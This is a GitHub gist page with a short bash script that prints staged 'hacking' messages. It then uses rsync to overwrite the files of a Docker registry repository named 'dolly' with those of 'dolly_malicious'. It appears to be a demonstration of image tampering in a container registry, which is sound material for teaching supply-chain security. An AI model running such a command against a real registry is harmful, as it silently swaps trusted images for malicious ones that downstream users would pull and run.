Skip to content

Instantly share code, notes, and snippets.

@diogomonica
Last active August 29, 2015 14:27
Show Gist options
  • Save diogomonica/e1bcd7ee98ca2bfe6995 to your computer and use it in GitHub Desktop.
Save diogomonica/e1bcd7ee98ca2bfe6995 to your computer and use it in GitHub Desktop.
#! /bin/bash
echo -e "\e[0;31m# Hacking the Dolly application...\e[0m"
sleep 1
echo -e "# finding location of files... FOUND."
sleep 1
echo -e "\e[0;31m# HACKED, have fun.\e[0m"
rsync -a /var/lib/registry/docker/registry/v2/repositories/dolly_malicious/ /var/lib/registry/docker/registry/v2/repositories/dolly/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment